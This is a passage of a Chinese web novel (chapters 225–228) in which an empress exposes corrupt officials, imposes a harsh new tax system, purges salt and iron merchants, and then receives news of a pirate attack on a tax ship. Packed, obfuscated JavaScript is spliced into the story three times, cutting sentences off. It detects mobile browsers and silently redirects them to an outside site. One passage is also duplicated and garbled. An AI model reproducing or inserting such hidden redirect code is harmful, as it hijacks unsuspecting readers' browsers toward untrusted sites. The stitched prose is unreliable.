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不待陈廷敬有任何反应,她语速加快,步步紧逼,每一个字都如同重锤,敲打在陈廷敬和其他心虚者的天灵盖上:“这还不算。你兄陈廷轩,自弘治年起,便利用盐船夹带,勾结边镇贪腐将弁,走私生铁、精钢、硫磺、药材等朝廷明令禁止出关的军国物资予北漠鞑靼各部,换取毛皮、马匹、乃至掳掠的汉人奴隶,牟取暴利何止十倍!去岁北境战事,我军曾缴获鞑靼军中制式精良、远超其自身工艺的刀剑**,其上隐秘烙印,经工部与内府兵器局高手反复查验,其材质、工艺,竟与江南某官营铁坊数年前‘失窃’的一批军械原料及流失的工匠技艺,一般无二!而经影卫与监察司长达半年的秘密追查,那铁坊背后真正东家,绕了七八个弯子,通过数层白手套,最终便指向你陈家!此事,你兄陈廷轩已在押,在确凿证据面前,对所犯罪行供认不讳,签字画押,人证、物证、账册、往来书信,铁证如山!你可要朕将他从刑部大牢提来,与你这位‘忠臣’,在这金銮殿前,当面对质?!” 第225章一律查封充公 陈廷敬浑身抖如筛糠,仿佛每一块骨头都在互相撞击,发出咯咯的轻响。他瘫软在地,如同一滩失去骨骼的烂泥,面如金纸,嘴唇哆嗦着,却再也发不出一个完整的音节,只有喉咙里发出“嗬嗬”的、垂死般的喘息。极致的恐惧如同冰冷的潮水,淹没了他,不仅是因为罪行暴露,更是因为女帝对这一切了如指掌的程度!她不是猜测,不是风闻,而是掌握了确凿无疑、足以将他家族碾碎成泥的铁证!她一直在看着,冷静地、耐心地收集着一切,直到这一刻,才如同最优秀的猎手,给出了致命一击! 谢凤卿却不再看他,目光如冰冷的探照灯,缓缓移向刚才跳得最凶、言辞最激烈的另外几人,那目光如同带着实质的寒意,所过之处,空气冻结: “还有你,刘文正。”她的声音不高,却让刘文正瞬间瘫倒在地,“你福建老家,武夷山‘云雾茶庄’,名下茶山三千亩,可其中有两千二百亩,是以‘祭田’、‘学田’、‘义田’之名,巧取豪夺,从当地茶农手中强占而来,涉及诉讼案件十七起,三任建宁知府皆因受理你的案子而被调离或罢黜,诉状至今堆积在福建按察使司档案库中,你可要朕调来,一桩一桩,念给你听?” “你,赵德坤。”赵德坤腿一软,直接跪倒,以头抢地,不敢抬起。“你在山西老家大同府,背着工部和户部,私开三座铁矿,从未向朝廷报备,更未缴纳分文矿税,十年来盗采铁矿数百万斤,获利数十万两,此事大同知府、山西按察使,甚至你工部的同僚,皆有举报,证据确凿。你还有何话说?” “还有你,王俭,王员外郎。”那位户部员外郎早已面无人色,瘫软如泥。“你去年何以能突然在京中置办大宅三处,纳美妾四房?你户部那点俸禄,够吗?需不需要朕让监察司的账房先生,帮你算算,你夫人名下那几家‘隆昌’绸缎庄、‘通源’当铺,还有你小舅子经营的船行,每年‘孝敬’你的干股分红,究竟有多少?你去年经手核销的扬州盐课亏空二十六万两,其中有多少,是进了你自家的账房?” 她每点一人,那人便如同被抽去了脊梁骨,面无人色,瘫倒在地,或瑟瑟发抖如秋风落叶,或汗出如浆瞬间湿透官袍,或直接两眼一翻,喉中发出“咯”的一声,彻底晕死过去,被同僚或侍卫慌忙扶住。偌大的广场,此刻除了谢凤卿冰冷的声音,再无其他声响,连风声似乎都屏住了呼吸。所有官员,无论是心虚的还是原本中立的,都被这当朝揭底、铁证如山的场面震撼得魂飞魄散,大脑一片空白。他们知道陈廷敬这些人不干净,但万万没想到,女帝手中竟已掌握了如此详实、如此致命、如此令人无从辩驳的证据!而且选择在这决定国策的朝会之上,以这种最冷酷、最不留情面的方式,当众揭穿!这不是普通的朝议,这是审判!是清洗的前奏! “冤枉?诬陷?忠臣死谏?”谢凤卿的声音陡然转厉,带着积压已久的雷霆之怒,与凛然不可侵犯的帝皇威严,在死寂的广场上轰然回荡,震得人耳膜生疼,“朕登基以来,一而再,再而三地给过你们机会!大赦天下,既往不咎,望你们洗心革面!求言纳谏,广开言路,望你们直言进谏!可你们呢?阳奉阴违,变本加厉!贪得无厌,欲壑难填!国库空虚,边关告急,灾民待哺,将士缺饷,而你们,还有你们背后那些盐商、茶商、铁商、酒商,却富可敌国,穷奢极欲!你们的宅邸连云,田产阡陌,你们的餐食堪比龙肝凤髓,夜夜笙歌,你们的子弟横行乡里,欺男霸女,无法无天!这天下,到底是谁的天下?这财富,到底该是谁的财富?这利益,到底该是谁的利益?!” 她猛地一拍御座扶手,霍然站起,玄色十二章纹衮服无风自动,上面的日月星辰、山川龙**仿佛要腾飞而出,直上九天,帝威如狱,森然笼罩整个天地,让所有人都不由自主地想要匍匐在地: “传朕旨意!” “都察院左副都御史陈廷敬,贪墨渎职,勾结奸商,资敌叛国,罪证确凿,着即革去一切官职、爵位、功名,削籍为民,抄没家产,其本人及主要案犯,即刻锁拿,移交刑部、大理寺、都察院三司会审,从严从重,按律论处!其家族涉及不法经商所得,一律充公!凡有为其说情、包庇、通风报信、或试图转移赃款赃物者,无论涉及何人,同罪论处!” “礼部右侍郎刘文正,工部郎中赵德坤,户部员外郎王俭……等七人,贪赃枉法,侵占民产,对抗新政,证据俱在,一并革职查办,抄没家产,交由三司严审!其家族所涉不法产业,一律查封充公!” “盐、铁、茶、酒、矾、香料等新税制改革章程,朕已御览,乃强国富民、解危济困之良策,势在必行!着内阁会同户部、工部、刑部、都察院,即日完善所有细节,厘定具体推行方略、税则税率、奖惩条例及一切配套律法条文。朕,只给你们十日时间!十日后,朕要看到完整的、可直接颁行天下的《新税制法令》文本!” “新税制,自凤翔元年五月初一日起,于全国各直省、府、州、县,一体施行!任何官员、差役,敢有阻挠拖延、阳奉阴违、曲解圣意、敷衍塞责者,立斩不赦!任何商人、豪强、士绅,敢有煽动**、暴力抗法、勾结官吏、走私偷漏者,无论涉及何人,无论家世背景,一律以谋逆、抗旨论处,主犯凌迟,家族连坐,家产尽没!朕,金口玉言,说到做到!勿谓言之不预!” 最后几句话,她几乎是咬着牙,一字一顿,从胸腔深处迸发出来,带着凛冽刺骨的杀意、不容置疑的决绝、与一种破釜沉舟的疯狂,在广场高大巍峨的宫墙与苍穹之间轰然回荡、碰撞,激起隐隐回音,震得所有人耳中嗡嗡作响,心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“恭送陛下,陛下万岁万岁万万岁!”这一次,山呼万岁的声音,前所未有地整齐划一,也前所未有地……充满了发自灵魂深处的敬畏,乃至恐惧。许多人几乎是瘫软着、被同僚或侍卫搀扶起来,踉踉跄跄、失魂落魄地退出广场,官袍后背,早已被冷汗浸透,在春日的暖风里,透着刺骨的冰凉,仿佛刚从鬼门关前走了一遭。 朝会散了,但金銮殿前那令人窒息的压力、那浓郁的血腥味与恐惧,却仿佛凝而不散,随着略带寒意的春风,迅速吹遍了京城的每一个角落,也将以最快的速度,传递帝国的四方。一场席卷全国、震动朝野、注定要用无数人头和鲜血来奠基、来润滑的利益格局大洗牌与深刻变革,以这种最激烈、最残酷、最不容置疑的方式,拉开了猩红而沉重的序幕。 接下来的一个月,是整个大周朝堂、商界乃至地方社会最为动荡、最为血腥、也最为考验新朝执政成色的关键时期。女帝在金銮殿前的雷霆一击与当众“亮剑”,不仅彻底震慑了朝堂,其影响更如同投入滚油的火星,瞬间点燃了帝国肌体上那颗最庞大、最顽固的毒瘤,引发了连锁的、剧烈的、充满痛苦与血腥的“排异反应”。 第226章你们不能这样 以陈廷敬案为突破口和最明确的信号,在谢凤卿的明确授意和萧御的亲自统筹、坐镇指挥下,监察司、影卫、刑部、都察院以及新成立的、被赋予了极大权柄的“清账司”、“巡盐御史”、“矿监税监”等机构,如同开动了最精密、最无情、最高效的杀戮与清洗机器,以迅雷不及掩耳之势,扑向所有早已在影卫与监察司名单上的、与盐、铁、茶、酒等旧利益集团勾连甚深的官员、勋贵、地方豪强、巨商大贾。 名单是多年侦查、精心罗列,证据是早已暗中搜集、反复核实、甚至故意放纵其继续犯罪以取得更扎实把柄的。行动之迅速、打击之精准、手段之酷烈、牵连之广泛,令朝野上下瞠目结舌,胆战心惊。这不再是普通的、零敲碎打的反腐,而是一场针对整个旧有既得利益网络的、外科手术式清除与犁庭扫穴相结合的彻底清洗。目的不仅在于惩处贪腐,更在于为新政的推行,扫清最核心的障碍——那些掌握着资源、渠道、人脉,并坚决反对任何改变的“拦路虎”。 扬州,两淮盐运司衙门。 这座昔日门庭若市、富丽堂皇、掌握着帝国东南盐业命脉、堪称“流金淌银”之地的衙门,此刻已被从金陵大营紧急调来的、全副武装的两千精锐官兵,里三层外三层围得水泄不通,弓上弦,刀出鞘,肃杀之气直冲云霄。新任巡盐御史、萧御心腹、以刚正冷峻、铁面无私闻名的监察司佥事林墨,身着绯色官袍,腰悬尚方宝剑,手持明黄圣旨与金批王命旗牌,面无表情地站在盐运司大堂前高高的石阶上。春日阳光下,他官袍上的补子图案清晰,神色却冷硬如石。他面前,跪着面如死灰、瑟瑟发抖、官袍凌乱的前任两淮都转盐运使、同知、副使、判官、以及各房主事等一干核心官吏,足足二十余人。 林墨展开圣旨,用清晰而冰冷、不带丝毫感情的声音,当众宣读他们的罪状:贪墨盐税、勾结盐商、纵容甚至亲自组织参与走私、草菅人命、勒索商民、收受巨额贿赂、生活腐化堕落……林林总总,多达三十余条。每念一条,跪着的官员脸色就灰败一分,身体就瘫软一寸,冷汗如雨下。当念到“资敌嫌疑”(与北漠走私战略物资)及“阴谋对抗朝廷新政”时,那位肥头大耳、平日养尊处优的盐运使终于支撑不住,双眼翻白,喉中“咯”一声,直接仰面晕死过去,瘫倒在地,激起一片尘土。 “拿下!抄家!”林墨收起圣旨,对晕倒的盐运使看都未看一眼,冷冷挥手,如同拂去灰尘。 “遵命!”如狼似虎的官兵与监察司黑衣吏员,立刻如潮水般涌入这座往日让他们仰望的森严衙门。沉重的包铁靴子踏在光洁的金砖地面上,发出整齐而令人心寒的轰鸣。昔日堆满账册、弥漫着铜臭、权势与阴谋气息的各个公廨、值房、库房,瞬间被翻了个底朝天。地窖被铁镐挖开,夹墙被重锤推倒,水井被抽干检查,假山被移开,甚至房梁屋脊都被仔细敲打探查……成箱的金锭银锭、银元宝、堆积如山的铜钱、一叠叠巨额面值的银票、地契、房契、盐引(旧引)、借据,以及无数珠宝古玩、字画珍籍、名贵药材、西洋奇器……从各种隐秘的、匪夷所思的角落被搜出,搬运到宽阔的庭院中,在越来越高的春日阳光下,反射着令人眩晕的、象征着无尽贪婪与罪恶的光芒。女眷的尖声哭嚎、孩童的惊恐啼哭、仆役的慌乱惊呼、兵丁粗暴的呵斥与翻箱倒柜的巨响、名贵瓷器摔碎的刺耳声音……混杂在一起,奏响了一曲豪族倾塌的末世哀歌。昔日煊赫无比、执掌东南盐务、富可敌国、连督抚都要客气三分的盐运使司,一日之间,大厦倾颓,树倒猢狲散,家破人亡,烟消云散。 与此同时,扬州城内最大的几家盐商总号,也几乎在同一时间遭到查抄。总商汪如海,号称“盐业之王”、“活财神”,其家资之巨,传说“金山银海,可填运河”。此刻,他肥硕如猪的身躯被沉重的精铁锁链锁着,瘫倒在自己那镶金嵌玉、极尽奢华、檀香弥漫的正厅“聚宝堂”光可鉴人的**金砖地板上。他看着平日里对他点头哈腰、谄媚逢迎的扬州知府衙门的差役,此刻在黑衣监察司吏员和官兵的带领下,如同虎狼般涌入,将他几十年巧取豪夺、勾结官府、盘剥灶户盐民积累的泼天财富,粗暴地洗劫一空。金砖被撬起,名画被扯下,古董**乱装箱,连他最爱的那张紫檀木嵌百宝屏风,也被兵丁用刀鞘敲打着抬走……他目眦欲裂,肥肉堆积的脸上涨成紫红色,口中发出不甘的、困兽般的嘶吼,铁链哗啦作响:“我乃朝廷特许总商!世受国恩!我有盐引!合理合法!我……我每年给朝廷纳那么多税……养活了无数灶户船家!我要见陈大人!我要见京里的王爷!你们不能这样!天下盐商不会答应!漕帮上下数万弟兄不会答应!你们这是逼反!” “税?恩?”林墨不知何时已踱步到他面前,居高临下,眼中尽是冰冷的嘲讽与不屑,仿佛在看一堆肮脏的垃圾,“你纳的税,十成里有没有三成,真正进了国库?剩下的,都喂了哪些蛀虫,养肥了哪些硕鼠,你心里比谁都清楚。你的‘合理合法’,是建立在多少灶户盐民的血泪和尸骨之上?至于陈廷敬,”他顿了顿,从怀中取出一份按着鲜红手印的供词副本,在汪如海眼前缓缓展开,上面熟悉的字迹和画押让汪如海瞳孔骤缩,“他已在刑部天牢,将你们如何**、如何分赃、如何走私、甚至如何谋划对抗新政,吐了个一干二净,签字画押,铁证如山。至于王爷,”他看了一眼手中那柄象征着先斩后奏之权的尚方宝剑,剑柄上萧御的金印在阳光下熠熠生辉,“本官此行,正是奉监国亲王殿下严令,彻查尔等祸国殃民、盘剥地方、对抗朝廷之巨蠹!拿下!若敢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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类似的场景,在山西(针对勾结官员、私开铁矿、走私铁器、贿赂边将的晋商巨贾)、福建(针对强占茶山、垄断茶市、贿赂官员、把持海运的闽商)、广州(针对与市舶司勾结、走私香料珠宝**、甚至与海外势力及海盗有染的粤商)、四川(针对把持盐井、茶山、欺压灶户的地方豪强)等地几乎同时上演。手持尚方宝剑与圣旨的巡盐御史、矿监、税监,在地方驻军和监察司密探的全力配合下,以犁庭扫穴、泰山压顶之势,清洗着旧有的、盘根错节的利益网络。反抗不是没有,一些地方豪商自恃财力雄厚,在地方经营数代,根深蒂固,蓄养私兵、死士,甚至勾结部分地方驻军低级军官、衙门胥吏、乃至绿林匪类,试图武装对抗,或制造混乱,转移财产。 但在早有准备、装备精良、且得到明确平叛指令、杀伐决断的朝廷正规军面前,这些抵抗往往如同螳臂当车,很快就被血腥**下去。为首者被当场格杀,悬首城门示众;骨干从犯尽数下狱,严刑拷问;附庸者或充军,或罚没家产。一时间,天下震动,商贾惶惶不可终日,官员人人自危,通往京城的各条官道上,押解着犯官、犯商及其家眷的囚车络绎不绝,悲泣之声沿途可闻;各地的监牢人满为患,狱吏忙碌不堪;而抄没的巨额家产——金银、铜钱、粮食、布匹、田契、房契、店铺、货物……则如同百川归海,通过“清账司”的专门渠道与押运队伍,源源不断地涌入京城新设的、戒备森严的“罚没银库”与“官产清册”。血腥气、铜臭气、与绝望的哭嚎声,混合着新朝春天草木疯狂滋长的清新气息,构成一幅诡异、残酷而又充满荒诞感的“盛世”图景。旧的秩序在暴力与恐惧中被强行打碎,新的规则则在血泊之中,艰难地开始萌芽。 当然,铁血的清洗只是手段,而非目的。在雷霆打击、震慑人心、为新政扫清最直接障碍的同时,新税制的具体推行、落地、以及让这套全新的体系真正运转起来,才是真正的考验,也在一刻不停地、紧张地进行着。 第227章多少?你再说一遍 内阁与相关衙门,在巨大的压力与女帝明确的十日限期下,日夜赶工,焚膏继晷,终于在第十日太阳落山前,将竭尽全力完善的《新税制法令》总则、一系列实施细则、税率表、奖惩条例、以及配套的机构设置与官吏考核办法,厚厚一摞,呈报御前。谢凤卿与萧御、周文康、新任阁臣等核心决策者,闭门数日,反复审议,逐条推敲,朱批修改,增删损益,最终定稿。法令以朝廷最高规格的明发邸报、官府张榜、快马驿传、派专员分赴各地宣讲、乃至通过新成立的“官报局”印刷散发等方式,以最快的速度传递大周的每一个州县,务必使上至知府知县、下至乡野里正、乃至有一定见识的百姓,尽皆知悉新法内容,明确朝廷决心。 新的盐引(实为“特许经营凭证”)招标在紧张而保密的气氛中进行。朝廷对投标商人的资质、资本实力、信誉记录、过往经营情况(尤其是有无走私、欺行霸市、勾结官员等不良记录)进行了前所未有的严格审核与背景调查。影卫与监察司提供了关键信息。审核剔除了大量与旧盐商集团关系密切、或有不良记录的商人,同时引入了一批背景相对干净、有一定实力和商业头脑、且书面承诺愿意严格遵守新法、接受朝廷严格监管的新兴商人,也保留(或说“改造”)了少数几位在清洗风暴中表现“配合”、及时切割与旧势力关系、并愿意缴纳巨额“诚意金”、“保证金”及“预缴税款”的原大商人,作为“榜样”与过渡。新的盐区被重新谨慎划分,统一定价(价格经过精密测算,比旧时猖獗的私盐价略高,以保证税收和商人合理利润;但比以往官盐实际售价和盐商肆意抬价、掺杂使假后的市价要低,旨在保障税收的同时平抑盐价,惠及百姓),独立的、垂直管理的巡盐御史体系与经过重新筛选、训练、待遇提高的“盐丁”队伍在加紧组建,对走私的打击条令严厉到近乎残酷——凡走私食盐百斤以上者,主犯斩立决,从犯流放三千里,家产充公,举报者重赏。 铁的管制更加严格。所有探明的大型优质矿场、主要炼铁工场、军械制造作坊,被朝廷直属的工部“军器局”及地方“铁冶所”直接接管,派干员与军队共同管理,其产品优先供应军队及官府大型工程,余量方可按官定价格出售。民间中小型铁矿、炼铁炉、铁器作坊,必须向工部在地方的分支机构重新申请“冶铁特许状”,接受严格的安全、环保、产量核查,并缴纳高额的矿产税和产品税。所有铁料,尤其是可用于制造兵器的熟铁、钢材,其开采、冶炼、销售流向必须按月、按季严格登记,建立台账,接受工部与监察司的定期与不定期突击检查。严禁任何形式的私自开矿、冶炼、及铸造兵器、甲胄、大型军用器械等违禁铁器,违者以谋逆论处,主犯凌迟,家产尽没,亲属流放。工部与兵部联合,开始对全**工作坊进行整顿,淘汰冗员,革新技术,严查质量。 茶、酒、矾、香料等行业的“特许经营牌”开始以高昂的价格发放,并且规定了持牌商人每年的最低营业额和纳税额,****、以次充好者将面临巨额罚款、吊销牌照、乃至下狱的重罚。朝廷加强了对这些行业生产过程的监督与标准化要求。 简化税目、扩大税基的政令也同步强力推行。大量巧立名目、盘剥百姓、滋生**的“杂捐”、“陋规”、“火耗”、“平余”、“秤耗”等被明令废除,敢有再收者,百姓可告官,查实后严惩不贷。但主要的田赋、商税等基准税率经过审慎计算,有所提高。最关键、也最触动既得利益的一步,是强制要求各地官府,必须在限期内,将之前大量被权贵、官绅、寺庙、道观以“投献”、“诡寄”、“飞洒”、“隐匿”等各种手段逃避税收,或利用特权免税的田产、商铺、山林、湖泽、矿窑等,全部重新清丈登记,核实真实产权与面积,强行纳入国家征税范围,扩大税基,从根源上实现税收的相对公平,减轻真正小民、自耕农的负担。这一条同样触动了无数地主、士绅、乃至许多低级官员的切身利益,但在盐铁茶巨商被血腥清洗、朝廷展现出的铁血手腕与坚定决心面前,地方上的反对声音虽然依旧存在,私下抱怨咒骂不绝,但公开的、有组织的抵制已大为减少,大多转为暗中拖延、消极应付、或试图在新的规则下寻找新的漏洞。 这是一场涉及整个帝国经济命脉、社会结构、利益分配的深度外科手术,痛苦、血腥、充满风险与未知,但主刀的“医师”谢凤卿与她的“副手”萧御,以及整个新政核心团队,已然没有了退路,也抛却了所有犹豫。他们手持最锋利、有时也最残酷的手术刀,在帝国肌体腐坏最深、最危险的部位,坚定而冷静地切割着,试图剜去腐烂的毒瘤,重塑健康的筋骨与气血运行通道,哪怕这个过程会流血不止,会引发机体剧烈的排斥反应,会听到无数的惨叫与哀嚎。他们知道,只有咬牙熬过这最痛苦、最危险的排异期,新的、健康的、富有活力的肌体,才有可能真正生长出来,支撑起那个他们理想中的“凤翔盛世”。 凤翔元年,四月底。深夜,万籁俱寂。 御书房内,却依旧灯火通明,亮如白昼。巨大的宫灯与无数烛台,将房间每一个角落都照得纤毫毕现,也映照着谢凤卿略显苍白疲惫、眼下带着淡淡青影,却目光依旧锐利如鹰隼的面容。书案上堆积如山的奏章,经过连日来近乎不眠不休的批阅,已然少了许多。她正伏案疾书,朱笔挥洒,处理着最后几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17298927|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 份关于新税制在各地初步推行情况的汇总报告。墨迹未干,在明亮的灯光下泛着湿润的光泽,仿佛是她心血的延伸。 萧御坐在她对面稍侧的位置,手中拿着一份刚刚由八百里加急、密封着特殊火漆送入的密报。他拆开火漆,展开密报,目光快速扫过,眉头瞬间紧紧锁了起来,脸上原本因近日一系列成功的清洗行动与新政初步烛火光芒映照下,那份密报上的字迹显得格外刺目。萧御只看了一眼,眉头便瞬间紧紧锁了起来,脸上原本因近日一系列成功的清洗行动与新政初步站稳脚跟而稍有缓和的沉郁之色,再次变得凝重无比,甚至比之前任何时候都要深沉,仿佛暴风雨前积聚的厚重乌云。 “陛下,”他放下密报,声音低沉,带着一种山雨欲来前特有的、压抑的平静,但谢凤卿能听出那平静下翻涌的惊涛,“扬州、山西、福建、四川等地,新税制推行虽遭遇不同程度的抵制、混乱,甚至小规模**,但在强力弹压和明确法令下,已基本被控制,局面渐趋稳定。市面虽一度萧条,但随着首批按照新法运营、质量相对有保障、价格统一的官盐、官铁、官茶陆续上市,恐慌情绪有所缓解,百姓观望中渐有购买。而税收……” 他顿了顿,眼中闪过一丝极其复杂的微光,有振奋,有难以置信,但更多的是一种更深沉的、仿佛看到悬崖另一侧的忧虑,“远超我们最乐观的预估。仅扬州盐区,新税制施行后的第一个完整月份,盐税入库白银,便高达八十五万两!是往年同期扬州盐税实收的……近五倍!而且这是在旧盐商体系被摧毁、新体系尚未完全顺畅运转的情况下取得的。” 谢凤卿手中的朱笔微微一顿,一滴饱满艳红的朱砂险些滴落在奏章洁白的纸面上,晕开一小团刺目的红。她缓缓抬起头,看向萧御,那双总是沉静如古井寒潭的眸子里,似有惊人的光华骤然亮起,如同暗夜中划过的流星,但那光芒迅速被更深的思虑、审视与一丝不易察觉的凛然所覆盖:“多少?你再说一遍。”她的声音很轻,仿佛怕惊扰了这个数字。 “八十五万两。”萧御清晰地重复,语气中也带着一丝他自己都未完全消化的震撼,以及一种“果然如此”的沉重明悟,“这还仅仅是扬州一处,而且是在新法刚刚推行、许多环节尚未完全理顺、旧势力仍在暗中掣肘、甚至故意破坏的情况下。据周文康与户部精通算法的官吏初步测算,若全国各主要盐区都能陆续达到或接近此成效,仅盐税一项,今年岁入便可能突破一千万两!若再加上铁、茶、酒、矾、香料等其他税收,以及清丈田亩、整顿商税、扩大税基的成果,今年国库岁入,翻三倍……恐怕还是最保守的估计。实际数字,可能……更为惊人。” 第228章自立为王的法外之地 即便以谢凤卿的定力、心性与早已做好心理准备的预期,此刻胸腔中也仿佛被投入了一块烧红的烙铁,激起滚烫的、带着刺痛感的狂涛!她知道新税制效果会好,知道这会极大缓解甚至可能扭转财政危机,但万万没想到,效果会好到如此地步!如此猛烈!如此……骇人!仅仅一个扬州盐区,一个月的税收,就几乎相当于过去某些贫瘠省份一整年的岁入,甚至更多!这庞大的、冷冰冰的数字背后,代表的不仅仅是瞬间充盈起来的国库,是足以支撑边关、水利、赈灾、新政的巨量钱粮;更是对新政最强有力的背书,是对她这个以女子之身登基、推行激进改革的帝王,其权威与决策最坚实、最无可辩驳的证明;是对所有朝野反对势力、骑墙观望者、乃至天下心存疑虑者,最无情而响亮的耳光!巨大的喜悦、成就感、与一种“险中求胜”后的虚脱感,如同炽热奔涌的岩浆,在她冰冷沉寂已久的心湖下疯狂奔腾,几乎要冲破那层名为“帝王威仪”的坚硬外壳,喷薄而出! 然而,萧御接下来的话,如同三九寒冬一盆混合着冰碴与鲜血的冷水,兜头浇下,瞬间将那刚刚燃起、还未来得及扩散的炽热喜悦之火彻底浇灭,只剩下刺骨的寒意、凛冽的杀意、与更加沉重的、面对新威胁的警醒。 “但是,”萧御将那份密报推到谢凤卿面前,手指因用力而微微泛白,骨节分明,“我们遇到了新的、更棘手、更危险、甚至可能动摇国本的麻烦。东南海疆,出事了。而且,事情比我们预想的,要严重得多。” 谢凤卿放下朱笔,笔尖的朱砂在宣纸上留下一个短暂的顿点。她接过那份还带着驿站风尘与汗渍气息的密报,触手微凉。展开,目光快速而专注地浏览。越看,她的眉头皱得越紧,脸色也越发冰冷,仿佛有实质的寒霜正从她周身弥漫开来,连御书房内温暖的烛火都似乎黯淡了几分。密报来自广州,奏报者是新任广州市舶司提举(主管海外贸易)兼东南税监,也是萧御的另一位心腹干将,以精明强干、熟悉夷务、手腕灵活著称的陆文渊。 陆文渊在奏报中详细禀明:广州新税制(主要针对进口香料、珠宝、象牙、犀角、苏木、胡椒等奢侈品,以及部分出口瓷器、丝绸、茶叶的税收)推行基本顺利,虽然遭到旧有行商、揽头的抵制和暗中破坏,但凭借其强硬手腕、清晰的税则和监察司的配合,税收较往年同期已有显著增长,市舶司库银渐丰。然而,正因如此,触怒了盘踞南洋海域多年、势力庞大、行事狠辣诡秘、且与多方势力勾结的跨国走私武装集团——“四海商盟”。 这“四海商盟”并非普通的海寇或走私团伙,而是一个结构复杂、层次分明的黑暗帝国。它以沿海失势士绅、豪强、破产海商、倭寇残余为核心,勾结部分东南亚土王、苏禄(今菲律宾南部)海盗、安南(越南)流寇,甚至与正在远东扩张势力、寻求贸易据点的西洋(葡萄牙、西班牙、荷兰)殖民者及武装商队有千丝万缕的联系,或合作,或竞争,关系微妙。他们控制着从南洋至东南沿海的诸多重要走私路线、秘密岛屿据点、补给点和贸易节点,长期逃避朝廷税赋,大肆走私香料、珠宝、象牙、犀角、苏木、胡椒、乃至鸦片(此时鸦片输入已初现端倪,被称为“乌香”或“福寿膏”)、西洋自生火铳(早期火枪)等违禁物资入境,同时也将大周的丝绸、瓷器、茶叶、生丝、铜钱等物大规模走私出境,获利巨万,富可敌国。其势力根深蒂固,在沿海各省拥有无数眼线、代理人、保护伞和“窝家”,甚至与部分地方水师将领、市舶司官吏、沿海州县官员、乃至卫所军士暗通款曲,结成了牢固的利益同盟,早已是东南海疆一霸。 过去朝廷对海贸管控时紧时松,政策摇摆,市舶司腐败不堪,地方官员收受贿赂,对走私睁只眼闭只眼,甚至参与分润,四海商盟尚能与官府维持一种脆弱的“平衡”或“默契”,通过贿赂分享部分利益,相安无事。但如今新税制严厉,陆文渊又是萧御派来的铁腕人物,上任后大力整顿市舶司,革除积弊,严查走私,追缴偷漏税款,等于断了四海商盟最大、最便捷、最核心的财路。商盟首脑们震怒不已,认为新朝廷这是要“断他们的生路”、“砸他们的饭碗”,已多次通过中间人放出狠话,要“给不知天高地厚的新皇帝和那些税吏一点颜色瞧瞧”,“让广州城知道,这南海之上,到底是谁说了算!” 真正的危机与赤裸裸的挑衅,爆发在十日前。一艘满载着按照新税制刚征收上来、价值超过三十万两白银的南洋香料、珠宝、象牙的朝廷官船“海澄”号,在从广州黄埔港驶往泉州港的途中,于外海万山群岛附近海域,遭遇了不明身份的庞大武装船队有预谋的袭击! “海澄”号虽是官船,有一定武装(装备少量碗口铳和佛朗机炮),但如何是专门干杀人越货勾当、拥有专业战舰和亡命徒的海盗船队对手?据少数在远处目睹、侥幸逃回的渔民(后被水师找到询问)及后来巡查水师发现的残骸判断,袭击者船队规模超过二十艘,其中数艘竟是装备了西洋重型火炮(红夷大炮)的“夹板巨舰”(欧洲式盖伦船或卡拉维尔船)!海盗船队利用速度与火力优势,迅速包抄,火炮齐鸣,“海澄”号很快便被击穿船舱,燃起大火。押运的五十余名官兵及水手虽拼死抵抗,但寡不敌众,在接舷战后悉数被杀害,尸首被抛入大海,血染碧波。船上的巨额税银、贵重货物被劫掠一空,整艘船最终爆炸沉入深海,只留下些许漂浮的残骸、油污、以及散落的货物碎片,证明着这里曾发生过一场惨烈的屠杀与抢劫。 现场留下的某些独特黑蛟旗帜碎片、火炮形制(有西洋特征),以及幸存渔民描述的船只特征(“船首有黑色蛟龙头”),都明确指向“四海商盟”旗下那支最凶悍、最神秘、拥有西洋舰船和火炮的海盗舰队——“黑蛟帮”。这已不仅仅是挑衅,这是赤裸裸的武力宣战!是对大周朝廷税政权威、海军力量、乃至新帝尊严的公然践踏与羞辱!是在用鲜血和烈火,向新朝宣告:在海上,他们才是王法! “砰!”谢凤卿一掌重重拍在坚硬的紫檀木书案上,力道之大,震得笔架上的毛笔弹起落下,墨汁飞溅,染污了旁边一摞奏章!她猛地站起身,眼中燃起冰冷刺骨、足以焚毁一切的熊熊怒火,那怒火中更夹杂着被触犯逆鳞的暴戾杀意,与一种被深深冒犯的帝王之怒,“四海商盟……黑蛟帮……好!好大的狗胆!好嚣张的气焰!竟敢袭击朝廷官船,杀戮官兵,劫掠税银!三十万两!五十多条忠勇将士的性命!他们这是要造反!是要将这东南海疆,变成他们无法无天、自立为王的法外之地!” 她的声音因极致的愤怒而微微发颤,却更显森寒刺骨,每一个字都像是从冰窟中捞出:“陆文渊是干什么吃的?广东水师是摆设吗?为何会让官船在近海、在朝廷水师巡防范围内遭此厄运?巡海官兵何在?预警何在?战船何在?朕每年拨付的巨额水师粮饷,都喂了海里的鱼吗?!” 